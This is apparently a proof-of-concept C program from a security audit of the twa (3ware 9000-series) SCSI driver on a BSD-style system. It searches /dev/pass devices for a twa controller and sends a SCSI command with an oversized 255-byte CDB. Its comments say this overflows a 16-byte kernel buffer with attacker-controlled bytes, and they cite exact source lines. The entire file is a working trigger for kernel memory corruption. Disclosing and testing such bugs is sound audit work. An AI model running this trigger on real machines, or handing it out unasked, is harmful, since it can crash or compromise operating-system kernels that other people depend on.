/*
 * DF-4654 PoC: twa (3ware 9000) CAM shim forwards csio->cdb_len
 * (u_int8_t, up to 255) unchecked into the common layer, which
 * memcpy's it into the 16-byte cdb field of the firmware command
 * packet  ->  heap/DMA-pool overflow with fully controlled bytes.
 *
 * This trigger scans the CAM bus list for a SIM named "twa"; if one
 * exists it issues an XPT_SCSI_IO with a 255-byte CDB (pattern-filled)
 * against target 0 lun 0 via /dev/pass<N>.  On a machine without a
 * 3ware 9xxx controller (e.g. the QEMU audit guest) it reports the
 * absence -- the defect is then proven by source trace only.
 *
 * build: cc -o twa_cdb twa_cdb.c
 * usage (root/operator): ./twa_cdb
 */
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/scsi/scsi_all.h>
#include <bus/cam/scsi/scsi_pass.h>

static void
fill_path_inq(union ccb *ccb)
{
	memset(ccb, 0, sizeof(*ccb));
	ccb->ccb_h.func_code = XPT_PATH_INQ;
}

int main(void)
{
	char dev[64];
	int fd, i, ndev = 0;

	/* try pass0..pass15: find any, then PATH_INQ to read the SIM name */
	for (i = 0; i < 16; i++) {
		union ccb ccb;
		snprintf(dev, sizeof(dev), "/dev/pass%d", i);
		fd = open(dev, O_RDWR);
		if (fd < 0)
			continue;
		ndev++;
		fill_path_inq(&ccb);
		if (ioctl(fd, CAMIOCOMMAND, &ccb) < 0) {
			close(fd);
			continue;
		}
		if (ccb.ccb_h.status != CAM_REQ_CMP) {
			close(fd);
			continue;
		}
		printf("%s: sim \"%s\" bus %d max_target %d\n",
		    dev, ccb.cpi.dev_name, ccb.cpi.bus_id, ccb.cpi.max_target);
		if (strcmp(ccb.cpi.dev_name, "twa") == 0) {
			/*
			 * Found a twa SIM: send XPT_SCSI_IO with a 255-byte
			 * CDB (all 0x41).  tw_osli_execute_scsi() passes
			 * cdb_len=255 to tw_cl_start_io(), which does
			 * memcpy(cmd->cdb (16 bytes), cdb, 255).
			 */
			union ccb io;
			memset(&io, 0, sizeof(io));
			io.ccb_h.func_code = XPT_SCSI_IO;
			io.ccb_h.flags = CAM_DIR_NONE;
			io.ccb_h.timeout = 5000;
			io.ccb_h.target_id = 0;
			io.ccb_h.target_lun = 0;
			io.csio.cdb_len = 255;		/* > 16 */
			memset(io.csio.cdb_io.cdb_bytes, 0x41, 16);
			/* bytes past 16 live in the (oversized) CDB area --
			 * use CAM_CDB_POINTER so we can supply a full 255. */
			{
				static unsigned char bigcdb[255];
				memset(bigcdb, 0x41, sizeof(bigcdb));
				io.ccb_h.flags |= CAM_CDB_POINTER;
				io.csio.cdb_io.cdb_ptr = bigcdb;
			}
			printf("issuing XPT_SCSI_IO cdb_len=255 on %s ...\n", dev);
			if (ioctl(fd, CAMIOCOMMAND, &io) < 0)
				perror("CAMIOCOMMAND");
			else
				printf("ccb status = 0x%x\n", io.ccb_h.status);
			close(fd);
			return 0;
		}
		close(fd);
	}
	if (ndev == 0)
		printf("NO /dev/pass* devices: no CAM path to any HBA.\n");
	printf("RESULT: no twa SIM present on this system "
	    "(checked %d pass device(s)).\n", ndev);
	printf("The vulnerable path (tw_osl_cam.c:276-280 -> tw_cl_io.c:124 "
	    "-> tw_cl_fwif.h:315 cdb[16]) requires 3ware 9000-series "
	    "hardware.\n");
	return 2;
}
